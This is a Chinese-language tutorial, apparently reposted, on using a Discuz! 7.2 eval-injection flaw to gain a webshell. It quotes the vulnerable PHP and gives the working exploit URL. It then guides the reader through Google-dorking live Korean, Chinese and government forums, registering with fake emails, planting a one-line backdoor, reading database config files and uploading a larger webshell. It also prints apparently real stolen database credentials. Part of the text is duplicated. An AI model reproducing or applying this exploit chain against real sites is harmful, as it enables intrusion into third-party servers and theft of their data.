利用discuz7.2漏洞来获取Webshell，在你看完这篇文章以前，难以利用Discuz! 论坛以前的漏洞获取webshell，而IT同学会电脑教程网这次教给你的漏洞，只要在discuz7.2注册了用户就可轻松得获取Webshell。下面来看看吧
一、漏洞来自showmessage函数
function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
extract($GLOBALS, EXTR_SKIP);//危险的用法，未初始化的变量可以直接带进函数，直接导致了问题产生，from www.oldjun.com
global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
define('CACHE_FORBIDDEN', TRUE);
$hookscriptmessage = $show_message = $message;$messagehandle = 0;
$msgforward = unserialize($_DCACHE['settings']['msgforward']);
$refreshtime = intval($msgforward['refreshtime']);
$refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
$msgforward['refreshtime'] = $refreshtime * 1000;
$url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
$seccodecheck = $seccodestatus & 2;
if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
$statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
if($fp = @fopen($statlogfile, 'a')) {
@flock($fp, 2);
if(is_array($funcstatinfo)) {
$funcstatinfo = array_unique($funcstatinfo);
foreach($funcstatinfo as $funcinfo) {
fwrite($fp, funcstat_query($funcinfo, $message)."\n");
}
} else {
fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");
}
fclose($fp);
$funcstatinfo = $GLOBALS['funcstatinfo'] = '';
}
}
if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {
write_statlog($message);
}
if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
updatesession();
dheader("location: ".str_replace('&', '&', $url_forward));
}
if(!empty($infloat)) {
if($extra) {
$messagehandle = $extra;
}
$extra = '';
}
if(in_array($extra, array('HALTED', 'NOPERM'))) {
$discuz_action = 254;
} else {
$discuz_action = 255;
}
include language('messages');
$vars = explode(':', $message);//只要含:就可以了
if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可，用:分割
eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化，可以自定义，from www.oldjun.com
} elseif(isset($language[$message])) {
$pre = $inajax ? 'ajax_' : '';
eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");
unset($pre);
}
......
}
二、DZ的全局机制导致了未初始化的参数可以任意提交
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
三、misc.php正好有个可以自定义
| message的点，其实也是未初始化： elseif($action == 'imme_binding' && $discuz_uid) { if(isemail($id)) { $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'"); $msn = explode("\t", $msn); $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@'))); $msn = "$msn[0]\t$id"; $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'"); showmessage('msn_binding_succeed', 'memcp.php'); } else { if($result == 'Declined') { dheader("Location: memcp.php"); } else { showmessage($response['result']);//$response没有初始化，可以自定义，from www.oldjun.com } } } 四、 Discuz7.2漏洞利用
showmessage函数里$vars = explode(':', $message);然后message可以自己控制，于是就很容易了，参数是两个自定义的数组。注册一个用户登陆,然后提交misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}
五、 Discuz7.2漏洞的具体应用
1.搜索“Powered by Discuz!7.2”
在Google中进行Discuz!7.2的定位搜索，在Google输入框中输入“Powered by Discuz!7.2 site:kr”搜索韩国的Discuz!7.2版本的站点，如图1所示，结果出来有3380条记录。想搜索哪个国家的就直接在site后面进行变更，例如搜索国内的网站：“site:com.cn”，政府网站“site:org.cn”。
![]()
图1定位搜索Discuz!7.2版本的论坛
五、 Discuz!7.2漏洞的具体应用
1.搜索“Powered by Discuz!7.2”
在Google中进行Discuz!7.2的定位搜索，在Google输入框中输入“Powered by Discuz!7.2 site:kr”搜索韩国的Discuz!7.2版本的站点，如图1所示，结果出来有3380条记录。想搜索哪个国家的就直接在site后面进行变更，例如搜索国内的网站：“site:com.cn”，政府网站“site:org.cn”。
![]()
2.验证并注册论坛用户 在图1中从第一个往最末记录，依次打开搜索记录，如图2所示，第一个记录技能打开，而且在其中还显示为中文，单击注册链接，注册为开论坛的一个用户。注册用户时用户名和密码可以随意选取，只要不重复即可，如果不想接收网站的注册信件，防止被他人利用电子邮件进行其它活动可以使用假的邮件地址，如图3所示，总之目的只有一个那就是成为该论坛的会员，便于后期得到Webshell。 3.开始注入 注册成功后在网址后面提交： misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}} 技巧：
（1）在有些大的论坛中由于使用了优化技术，因此论坛的页面都是静态的，在静态的页面中是看不到tid的，例如“http://bbs.51cto.com/thread-648810-1.html”，但当鼠标移动到回复按钮处时会给出一个地址，该地址中包含有tid。
（2）Exp提交成功后会出现一些提示，如果给出“Binding Failed.Visit MSN IMME Q&A,Please.”提示，如图6所示，则说明该系统已经修补了漏洞或者采取了一些安全措施，无法再进行利用
3）一句话木马成功与否的测试。直接在论坛地址后加上“/forumdata/cache/usergroup_01.php”进行访问，例如某网站的论坛地址为：
http://www.xxx.com.hk/discuz/，则一句话后门的地址为：
http://www.xxx.com.hk/discuz/forumdata/cache/usergroup_01.php
如果访问后未出现错误提示，那么恭喜你，成功了 5.获取Webshell 在“lanker一句话PHP后门客户端3.0内部版”的后门地址中输入刚才提交的地址“http://**********.co.kr/dc/forumdata/cache/usergroup_01.php”，密码是“cmd”。在模块中选择查看服务器基本信息，如图7所示，获悉该系统为linux系统以及该网站所在的文件路径。 6.读取数据库连接文件 在模块中选择读取文件，并输入数据库连接文件的地址“****/dc/config.inc.php”，如图8所示，成功获取该论坛数据库的敏感信息：
$dbhost = 'localhost'; // 数据库服务器
$dbuser = 'skycheer'; // 数据库用户名
$dbpw = 'sky0127'; // 数据库密码
$dbname = 'skycheer'; // 数据库名
$pconnect = 0; 7.上传大马 现在我们也可以使用一句话木马客户端来上传我们的大马。之后就看各位的发挥了 哈哈 8.总结 在网上有很多discuz7.2漏洞的利用教程文章，不过今天IT同学会电脑教程网教给大叫的是一个非常详细的过程。利用discuz7.2漏洞来获取Webshell的教程你看懂了吗？呵呵 本文转载自IT同学会电脑教程网（http://www.ittxh.cn/） |
浙公网安备 33010602011771号